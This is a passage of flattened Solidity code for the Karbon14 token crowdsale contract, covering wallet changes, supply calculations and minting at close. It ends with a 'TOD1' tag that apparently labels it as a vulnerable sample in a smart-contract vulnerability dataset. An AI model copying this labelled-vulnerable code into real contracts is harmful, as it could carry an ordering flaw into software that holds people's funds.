escrow.deposit.value(msg.value)(msg.sender); } } // File: contracts/Karbon14Crowdsale.sol contract Karbon14Crowdsale is RefundableCrowdsale, MintedCrowdsale { using SafeMath for uint256; using SafeMath for uint; MintableToken public token; uint hardCap; uint256 rate; uint distribution; event WalletChange(address wallet); constructor ( uint256 _rate, address _wallet, MintableToken _token, uint256 _openingTime, uint256 _closingTime, uint _hardCap, uint _softCap, uint _distribution ) Crowdsale(_rate, _wallet, _token) TimedCrowdsale(_openingTime, _closingTime) CappedCrowdsale(_hardCap) RefundableCrowdsale(_softCap) public { token = _token; hardCap = _hardCap; rate = _rate; distribution = _distribution; } function changeWallet(address _wallet) public onlyOwner { require(_wallet != 0x0, "Wallet is required."); wallet = _wallet; emit WalletChange(_wallet); } function getTotalSupply() public view returns(uint256) { uint256 totalSupply = token.totalSupply(); return totalSupply; } function getMaxCommunityTokens() public view returns(uint256) { uint256 tokenComminity = hardCap.mul(rate); return tokenComminity; } function getTotalFundationTokens() public view returns(uint256) { return getTokenTotalSupply() - getMaxCommunityTokens(); } function getTokenTotalSupply() public view returns(uint256) { return hardCap.mul(100).div(distribution).mul(rate); } function crowdsaleClose() internal { uint256 totalCommunityTokens = getMaxCommunityTokens(); uint256 totalSupply = token.totalSupply(); uint256 unsold = totalCommunityTokens.sub(totalSupply); uint256 totalFundationTokens = getTotalFundationTokens(); // emit tokens for the foundation if (goalReached()) { token.mint(wallet, totalFundationTokens.add(unsold)); } else { token.mint(wallet, totalFundationTokens.add(totalCommunityTokens)); } token.transferOwnership(wallet); } }
TOD1